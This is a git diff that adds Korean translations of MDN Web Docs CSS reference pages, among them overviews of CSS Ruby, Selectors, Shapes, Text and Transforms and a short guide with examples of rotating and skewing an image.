+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index">Stacking without the z-index property</a>: The stacking rules that apply when <code>z-index</code> is not used.</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float">Stacking with floated blocks</a>: How floating elements are handled with stacking.</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index">Using z-index</a>: How to use <code>z-index</code> to change default stacking.</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1">Stacking context example 1</a>: 2-level HTML hierarchy, <code>z-index</code> on the last level</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2">Stacking context example 2</a>: 2-level HTML hierarchy, <code>z-index</code> on all levels</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3">Stacking context example 3</a>: 3-level HTML hierarchy, <code>z-index</code> on the second level</li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Paolo Lombardi</li>
+ <li>This article is the English translation of an article I wrote in Italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under the <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a>.</li>
+ <li>Last Updated Date: July 9, 2005</li>
+</ul>
+</div>
diff --git a/files/ko/web/css/css_ruby/index.html b/files/ko/web/css/css_ruby/index.html
new file mode 100644
index 0000000000..e7266af671
--- /dev/null
+++ b/files/ko/web/css/css_ruby/index.html
@@ -0,0 +1,45 @@
+---
+title: CSS Ruby
+slug: Web/CSS/CSS_Ruby
+tags:
+  - CSS
+  - CSS Ruby
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Ruby
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Ruby</strong>는 행간 주석의 형태로 기본 텍스트와 함께 작게 실행되는 텍스트인 ruby 주석 표시와 관련된 렌더링 모델 및 서식 컨트롤을 제공하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("ruby-align")}}</li>
+ <li>{{cssxref("ruby-position")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Ruby')}}</td>
+   <td>{{Spec2('CSS3 Ruby')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ko/web/css/css_scroll_snap_points/index.html b/files/ko/web/css/css_scroll_snap_points/index.html
new file mode 100644
index 0000000000..1603df3f02
--- /dev/null
+++ b/files/ko/web/css/css_scroll_snap_points/index.html
@@ -0,0 +1,50 @@
+---
+title: CSS Scroll Snap Points
+slug: Web/CSS/CSS_Scroll_Snap_Points
+tags:
+  - CSS
+  - CSS Scroll Snap
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Scroll_Snap_Points
+---
+<p>{{CSSRef}}{{deprecated_header}}</p>
+
+<p><strong>CSS Scroll Snap Points</strong>는 물리보다는 논리상 방향과 차원 맵핑을 통해 레이아웃을 제어하는 능력을 제공하는 속성 및 값을 정의하는 CSS 모듈입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 같은 기능을 정의하는 최신 명세는 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Scroll_Snap">CSS Scroll Snap</a>입니다.</p>
+</div>
+
+<h2 id="참고">참고</h2>
+
+<h3 id="CSS_속성">CSS 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("scroll-snap-coordinate")}}</li>
+ <li>{{cssxref("scroll-snap-destination")}}</li>
+ <li>{{cssxref("scroll-snap-points-x")}}</li>
+ <li>{{cssxref("scroll-snap-points-y")}}</li>
+ <li>{{cssxref("scroll-snap-type")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Scroll Snap Points", "#propdef-scroll-snap-points-y", "scroll-snap-points-y")}}</td>
+   <td>{{Spec2("CSS Scroll Snap Points")}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_selectors/index.html b/files/ko/web/css/css_selectors/index.html
new file mode 100644
index 0000000000..eb5af87d66
--- /dev/null
+++ b/files/ko/web/css/css_selectors/index.html
@@ -0,0 +1,133 @@
+---
+title: CSS 선택자
+slug: Web/CSS/CSS_Selectors
+tags:
+  - CSS
+  - Guide
+  - Overview
+  - Reference
+  - Selectors
+  - 선택자
+translation_of: Web/CSS/CSS_Selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>CSS 선택자</strong>는 CSS 규칙을 적용할 요소를 정의합니다.</span></p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 부모, 부모의 형제, 부모 형제의 자식을 선택할 수 있는 선택자는 존재하지 않습니다.</p>
+</div>
+
+<h2 id="기본_선택자">기본 선택자</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/Universal_selectors">전체 선택자</a></dt>
+ <dd>모든 요소를 선택합니다. 추가로 네임스페이스 제한을 둘 수 있습니다.<br>
+ <strong>구문:</strong> <code>*</code> <code><var>ns</var>|*</code> <code>*|*</code><br>
+ <strong>예제:</strong> <code>*</code>은 문서 내의 모든 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Type_selectors">유형 선택자</a></dt>
+ <dd>주어진 노드 이름을 가진 모든 요소를 선택합니다.<br>
+ <strong>구문:</strong> <code><var>elementname</var></code><br>
+ <strong>예제:</strong> <code>input</code>은 모든 {{HTMLElement("input")}} 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Class_selectors">클래스 선택자</a></dt>
+ <dd>주어진 <code>class</code> 특성을 가진 모든 요소를 선택합니다.<br>
+ <strong>구문:</strong> <code>.<var>classname</var></code><br>
+ <strong>예제:</strong> <code>.index</code>는 "index" 클래스를 가진 모든 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/ID_selectors">ID 선택자</a></dt>
+ <dd><code>id</code> 특성에 따라 요소를 선택합니다. 문서 내에는 주어진 ID를 가진 요소가 하나만 존재해야 합니다.<br>
+ <strong>구문:</strong> <code>#<var>idname</var></code><br>
+ <strong>예제:</strong> <code>#toc</code>는 "toc" ID를 가진 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Attribute_selectors">특성 선택자</a></dt>
+ <dd>주어진 특성을 가진 모든 요소를 선택합니다.<br>
+ <strong>구문:</strong> <code>[<var>attr</var>]</code> <code>[<var>attr</var>=<var>value</var>]</code> <code>[<var>attr</var>~=<var>value</var>]</code> <code>[<var>attr</var>|=<var>value</var>]</code> <code>[<var>attr</var>^=<var>value</var>]</code> <code>[<var>attr</var>$=<var>value</var>]</code> <code>[<var>attr</var>*=<var>value</var>]</code><br>
+ <strong>예제:</strong> <code>[autoplay]</code>는 <code>autoplay</code> 특성을 설정한 모든 요소와 일치합니다. 특성의 값은 고려하지 않습니다.</dd>
+</dl>
+
+<h2 id="그룹_선택자">그룹 선택자</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/Selector_list">선택자 목록</a></dt>
+ <dd><code>,</code>는 선택자 그룹을 생성하는 방법으로, 모든 일치하는 노드를 선택합니다.<br>
+ <strong>구문:</strong> <code style="white-space: nowrap;"><var>A</var>, <var>B</var></code><br>
+ <strong>예제:</strong> <code>div, span</code>은 모든 {{HTMLElement("span")}}과 {{HTMLElement("div")}} 요소와 일치합니다.</dd>
+</dl>
+
+<h2 id="결합자">결합자</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/Descendant_combinator">자손 결합자</a></dt>
+ <dd><code> </code> (공백) 결합자는 첫 번째 요소의 자손인 노드를 선택합니다.<br>
+ <strong>구문:</strong> <code style="white-space: nowrap;"><var>A</var> <var>B</var></code><br>
+ <strong>예제:</strong> <code>div span</code>은 {{HTMLElement("div")}} 요소 안에 위치하는 모든 {{HTMLElement("span")}} 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Child_combinator">자식 결합자</a></dt>
+ <dd><code>&gt;</code> 결합자는 첫 번째 요소의 바로 아래 자식인 노드를 선택합니다.<br>
+ <strong>구문:</strong> <code style="white-space: nowrap;"><var>A</var> &gt; <var>B</var></code><br>
+ <strong>예제:</strong> <code>ul &gt; li</code>는 {{HTMLElement("ul")}} 요소 바로 아래에 위치하는 모든 {{HTMLElement("li")}} 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/General_sibling_combinator">일반 형제 결합자</a></dt>
+ <dd><code>~</code> 결합자는 형제, 즉 첫 번째 요소를 뒤따르면서 같은 부모를 공유하는 두 번째 요소를 선택합니다.<br>
+ <strong>구문:</strong> <code style="white-space: nowrap;"><var>A</var> ~ <var>B</var></code><br>
+ <strong>예제:</strong> <code>p ~ span</code>은 {{HTMLElement("p")}} 요소를 뒤따르는 모든 {{HTMLElement("span")}} 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Adjacent_sibling_combinator">인접 형제 결합자</a></dt>
+ <dd><code>+</code> 결합자는 인접 형제, 즉 첫 번째 요소의 바로 뒤에 위치하면서 같은 부모를 공유하는 두 번째 요소를 선택합니다.<br>
+ <strong>구문:</strong> <code style="white-space: nowrap;"><var>A</var> + <var>B</var></code><br>
+ <strong>예제:</strong> <code>h2 + p</code>는 {{HTMLElement("h2")}} 바로 뒤에 위치하는 {{HTMLElement("p")}} 요소와 일치합니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/Column_combinator">열 결합자</a> {{Experimental_Inline}}</dt>
+ <dd><code>||</code> 결합자는 같은 열에 속하는 노드를 선택합니다.<br>
+ <strong>구문:</strong> <code style="white-space: nowrap;"><var>A</var> || <var>B</var></code><br>
+ <strong>예제:</strong> <code>col || td</code>는 {{HTMLElement("col")}}의 범위에 속하는 모든 {{HTMLElement("td")}} 요소와 일치합니다.</dd>
+</dl>
+
+<h2 id="의사_클래스요소">의사 클래스/요소</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/Pseudo-classes">의사 클래스</a></dt>
+ <dd>의사 <code>:</code>은 문서 트리가 포함하지 않는 상태 정보에 기반해 요소를 선택할 수 있습니다.<br>
+ <strong>예제:</strong> <code>a:visited</code>는 사용자가 방문한 모든 {{HTMLElement("a")}} 요소와 일치합니다.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Pseudo-elements">의사 요소</a></dt>
+ <dd>의사 <code>::</code>는 HTML이 포함하지 않는 개체를 선택합니다.<br>
+ <strong>예제:</strong> <code>p::first-line</code>은 모든 {{HTMLElement("p")}} 요소의 첫 번째 줄과 일치합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Added the <code>||</code> column combinator, grid structural selectors, logical combinators, location, time-demensional, resource state, linguistic and UI pseudo-classes, modifier for ASCII case-sensitive and case-insensitive attribute value selection.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td>Added the <code>~</code> general sibling combinator and tree-structural pseudo-classes.<br>
+    Made pseudo-elements use a <code>::</code> double-colon prefix. Additional attribute selectors</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "selector.html")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Added the <code>&gt;</code> child and <code>+</code> adjacent sibling combinators.<br>
+    Added the <strong>universal</strong> and <strong>attribute</strong> selectors.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p><a href="/ko/docs/Web/CSS/Pseudo-classes#명세">의사 클래스</a>와 <a href="/ko/docs/Web/CSS/Pseudo-elements#명세">의사 요소</a>의 명세 표에서 각각의 상세 정보를 볼 수 있습니다.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Specificity">CSS 명시도</a></li>
+</ul>
diff --git a/files/ko/web/css/css_shapes/index.html b/files/ko/web/css/css_shapes/index.html
new file mode 100644
index 0000000000..f814002c56
--- /dev/null
+++ b/files/ko/web/css/css_shapes/index.html
@@ -0,0 +1,80 @@
+---
+title: CSS Shapes
+slug: Web/CSS/CSS_Shapes
+tags:
+  - CSS
+  - CSS Shapes
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Shapes
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Shapes</strong>는 CSS에서 사용하기 위한 기하학적 도형을 설명한다. 레벌1 명세에 의하면 떠있는 요소에 CSS Shapes를 적용할 수 있다. 명세의 정의에 의하면 떠있는 요소의 모양을 정의 하거나  요소 상자의 사각형을 따르는 대신 테두리 선을 따라 감싸지도록 하는 방법 등  다양한 방법을 정의하고 있다. </p>
+
+<h2 id="Basic_Example" name="Basic_Example">기본 예제</h2>
+
+<p>아래 예제는 왼쪽에 떠있는 이미지에 shape-outside속성에 circle(50%) 값이 적용된 모습을 볼수 있다. 이런식으로 원모양을 만들면 도옇의 둘래를 따라 주변 텍스트가 흘러내리는것을 볼수 있다. 둘러싼 텍스트가 도형의 모양을 따라 길이가 변하게 되었다. </p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/overview/circle.html", '100%', 720)}}</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("shape-outside")}}</li>
+ <li>{{cssxref("shape-margin")}}</li>
+ <li>{{cssxref("shape-image-threshold")}}</li>
+</ul>
+</div>
+
+<h3 id="자료형">자료형</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;basic-shape&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Overview_of_CSS_Shapes">Overview of CSS Shapes</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Box_Values">Shapes from Box Values</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Basic_Shapes">Basic Shapes</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Images">Shapes from Images</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Edit Shape Paths in CSS — Firefox Developer Tools</a></li>
+</ul>
+
+<h2 id="외부_자료">외부 자료</h2>
+
+<ul>
+ <li><a href="https://codepen.io/KristopherVanSant/post/css-shapes-resources">A list of CSS Shapes resources</a></li>
+ <li><a href="https://alistapart.com/article/css-shapes-101">CSS Shapes 101</a></li>
+ <li><a href="https://www.sarasoueidan.com/blog/css-shapes/">Creating non-rectangular layouts with CSS Shapes</a></li>
+ <li><a href="https://webdesign.tutsplus.com/tutorials/how-to-use-css-shapes-in-your-web-design--cms-27498">How To Use CSS Shapes In Your Web Design</a></li>
+ <li><a href="https://www.webdesignerdepot.com/2015/03/how-to-get-started-with-css-shapes/">How To Get Started With CSS Shapes</a></li>
+ <li><a href="https://medium.com/@MHarreither/what-i-learned-in-one-weekend-with-css-shapes-66ae9be69cc5">What I Learned In One Weekend With CSS Shapes</a></li>
+ <li><a href="https://theblog.adobe.com/css-vs-svg-shapes-and-arbitrarily-shaped-ui-components/">CSS vs. SVG: Shapes and Arbitrarily-Shaped UI Components</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Shapes")}}</td>
+   <td>{{Spec2("CSS Shapes")}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_table/index.html b/files/ko/web/css/css_table/index.html
new file mode 100644
index 0000000000..ad712ec39e
--- /dev/null
+++ b/files/ko/web/css/css_table/index.html
@@ -0,0 +1,48 @@
+---
+title: CSS Table
+slug: Web/CSS/CSS_Table
+tags:
+  - CSS
+  - CSS Table
+  - Guide
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Table
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Table</strong>은 표 데이터의 배치법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("border-collapse")}}</li>
+ <li>{{cssxref("border-spacing")}}</li>
+ <li>{{cssxref("caption-side")}}</li>
+ <li>{{cssxref("empty-cells")}}</li>
+ <li>{{cssxref("table-layout")}}</li>
+ <li>{{cssxref("vertical-align")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.1", "tables.html")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_text/index.html b/files/ko/web/css/css_text/index.html
new file mode 100644
index 0000000000..9edc21d716
--- /dev/null
+++ b/files/ko/web/css/css_text/index.html
@@ -0,0 +1,71 @@
+---
+title: CSS Text
+slug: Web/CSS/CSS_Text
+tags:
+  - CSS
+  - CSS Text
+  - Guide
+  - Overview
+translation_of: Web/CSS/CSS_Text
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Text</strong>는 줄 바꿈, 정돈 및 정렬, 공백 처리 및 텍스트 변환 같은 텍스트 조작을 수행하는 법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("hanging-punctuation")}}</li>
+ <li>{{cssxref("hyphens")}}</li>
+ <li>{{cssxref("letter-spacing")}}</li>
+ <li>{{cssxref("line-break")}}</li>
+ <li>{{cssxref("overflow-wrap")}}</li>
+ <li>{{cssxref("tab-size")}}</li>
+ <li>{{cssxref("text-align")}}</li>
+ <li>{{cssxref("text-align-last")}}</li>
+ <li>{{cssxref("text-indent")}}</li>
+ <li>{{cssxref("text-justify")}}</li>
+ <li>{{cssxref("text-size-adjust")}}</li>
+ <li>{{cssxref("text-transform")}}</li>
+ <li>{{cssxref("white-space")}}</li>
+ <li>{{cssxref("word-break")}}</li>
+ <li>{{cssxref("word-spacing")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>텍스트 방향성에 독립된 일부 속성 갱신.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Text')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_text_decoration/index.html b/files/ko/web/css/css_text_decoration/index.html
new file mode 100644
index 0000000000..e01c36d116
--- /dev/null
+++ b/files/ko/web/css/css_text_decoration/index.html
@@ -0,0 +1,69 @@
+---
+title: CSS Text Decoration
+slug: Web/CSS/CSS_Text_Decoration
+tags:
+  - CSS
+  - CSS Text Decoration
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Text_Decoration
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Text Decoration</strong>은 밑줄, 텍스트 그림자 및 강조 표시 등 텍스트 장식에 관련된 기능을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("letter-spacing")}}</li>
+ <li>{{cssxref("text-align")}}</li>
+ <li>{{cssxref("text-decoration")}}</li>
+ <li>{{cssxref("text-decoration-color")}}</li>
+ <li>{{cssxref("text-decoration-line")}}</li>
+ <li>{{cssxref("text-decoration-style")}}</li>
+ <li>{{cssxref("text-emphasis")}}</li>
+ <li>{{cssxref("text-emphasis-color")}}</li>
+ <li>{{cssxref("text-emphasis-position")}}</li>
+ <li>{{cssxref("text-emphasis-style")}}</li>
+ <li>{{cssxref("text-indent")}}</li>
+ <li>{{cssxref("text-rendering")}}</li>
+ <li>{{cssxref("text-shadow")}}</li>
+ <li>{{cssxref("text-transform")}}</li>
+ <li>{{cssxref("white-space")}}</li>
+ <li>{{cssxref("word-spacing")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ko/web/css/css_transforms/index.html b/files/ko/web/css/css_transforms/index.html
new file mode 100644
index 0000000000..f4cffad3b6
--- /dev/null
+++ b/files/ko/web/css/css_transforms/index.html
@@ -0,0 +1,66 @@
+---
+title: CSS Transforms
+slug: Web/CSS/CSS_Transforms
+tags:
+  - CSS
+  - CSS Transforms
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Transforms
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Transforms</strong> is a module of CSS that defines how elements styled with CSS can be transformed in two-dimensional or three-dimensional space.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Properties">Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("backface-visibility")}}</li>
+ <li>{{cssxref("perspective")}}</li>
+ <li>{{cssxref("perspective-origin")}}</li>
+ <li>{{cssxref("rotate")}}</li>
+ <li>{{cssxref("scale")}}</li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-box")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+ <li>{{cssxref("transform-style")}}</li>
+ <li>{{cssxref("translate")}}</li>
+</ul>
+</div>
+
+<h3 id="Data_types">Data types</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;transform-function&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms">Using CSS transforms</a></dt>
+ <dd>Step-by-step tutorial about how to transform elements styled with CSS.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transforms') }}</td>
+   <td>{{ Spec2('CSS3 Transforms') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_transforms/using_css_transforms/index.html b/files/ko/web/css/css_transforms/using_css_transforms/index.html
new file mode 100644
index 0000000000..1c29e3b1e3
--- /dev/null
+++ b/files/ko/web/css/css_transforms/using_css_transforms/index.html
@@ -0,0 +1,80 @@
+---
+title: CSS 변형 사용하기
+slug: Web/CSS/CSS_Transforms/Using_CSS_transforms
+tags:
+  - 3D
+  - Advanced
+  - CSS
+  - CSS Transforms
+  - Graphics
+  - Guide
+translation_of: Web/CSS/CSS_Transforms/Using_CSS_transforms
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS 변형</strong>(transform)은 좌표공간을 변형함으로써 일반적인 문서 흐름을 방해하지 않고 콘텐츠의 형태와 위치를 바꿉니다. 본 가이드는 변형 사용법의 기초를 제시합니다.</p>
+
+<p>CSS 변형은 HTML 요소에 선형 아핀 변형(affine linear transformation)을 적용하는 여러 개의 CSS 속성을 조합해 구현합니다. 변형은 평면과 3D 공간에서의 회전, 확대, 이동, 비틀기를 포함합니다.</p>
+
+<div class="warning">
+<p><a href="/ko/docs/Web/CSS/CSS_Box_Model">박스 모델</a>에 따라 배치된 요소만 <code>transform</code>을 적용할 수 있습니다. 한 가지 예를 들자면, <code>display: block</code>속성을 가진 요소는 박스 모델을 따릅니다. </p>
+</div>
+
+<h2 id="CSS_변형_속성">CSS 변형 속성</h2>
+
+<p>CSS 변형을 정의할 때 중요한 두 가지 속성은 {{cssxref("transform")}}과 {{cssxref("transform-origin")}}입니다.</p>
+
+<dl>
+ <dt>{{cssxref("transform-origin")}}</dt>
+ <dd>원점의 위치를 지정합니다. 기본값은 요소의 중심이며 변경할 수 있습니다. 회전, 확대, 비틀기 등 하나의 점을 기준으로 하는 변형에서 사용합니다.</dd>
+ <dt>{{cssxref("transform")}}</dt>
+ <dd>요소에 적용할 변형을 지정합니다. 여러 개의 변형 목록을 공백으로 구분하여 대입하면 순차적으로 합성한 결과물을 적용합니다. 합성은 오른쪽부터 왼쪽으로 진행합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 이미지는 변형하지 않은 MDN 로고입니다.</p>
+
+<p><img alt="MDN Logo" src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png"></p>
+
+<h3 id="회전">회전</h3>
+
+<p>MDN 로고를 90도 회전합니다.</p>
+
+<pre class="brush: html notranslate">&lt;img style="transform: rotate(90deg);
+            transform-origin: bottom left;"
+     src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png"&gt;</pre>
+
+<p>{{EmbedLiveSample('회전', 'auto', 240) }}</p>
+
+<h3 id="비틀고_옮기기">비틀고 옮기기</h3>
+
+<p>MDN 로고를 10도 비틀고 X축으로 150픽셀 옮깁니다.</p>
+
+<pre class="brush: html notranslate">&lt;img style="transform: skewx(10deg) translatex(150px);
+            transform-origin: bottom left;"
+     src="https://mdn.mozillademos.org/files/12539/Screen%20Shot%202016-02-16%20at%2015.53.54.png"&gt;</pre>
+
+<p>{{EmbedLiveSample('비틀고_옮기기') }}</p>
+
+<h2 id="3D_전용_CSS_속성">3D 전용 CSS 속성</h2>
+
+<p>3D 공간에서의 CSS 변환은 좀 더 복잡합니다. 우선 원근감을 부여해 3D 공간을 설정한 후에, 2D 요소가 그 안에서 어떻게 행동할지 설정해야 합니다..</p>
+
+<h3 id="원근">원근</h3>
+
+<p>처음으로 정할 항목은 {{cssxref("perspective")}}입니다. 우리가 입체라고 느낄 수 있는 건 원근감 덕분입니다. 요소가 관찰자에서 멀어질 수록 더 작게 보입니다.</p>
+
+<p>{{page("/ko/docs/Web/CSS/perspective", "Setting perspective", 0, 0, 3)}}</p>
+
+<p>다음으로는 {{cssxref("perspective-origin")}} 속성으로 관찰자의 위치를 정해야 합니다. 기본값은 중앙으로, 언제나 충분한 위치는 아닙니다.</p>
+
+<p>{{page("/ko/docs/Web/CSS/perspective-origin", "Changing the perspective origin", 0, 0, 3)}}</p>
+
+<p>모든 과정을 마쳤다면 3D 공간의 요소를 작업할 수 있습니다.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/Events/Using_device_orientation_with_3D_transforms" title="Using Deviceorientation In 3D Transforms">Using device orientation with 3D Transforms</a></li>
+</ul>
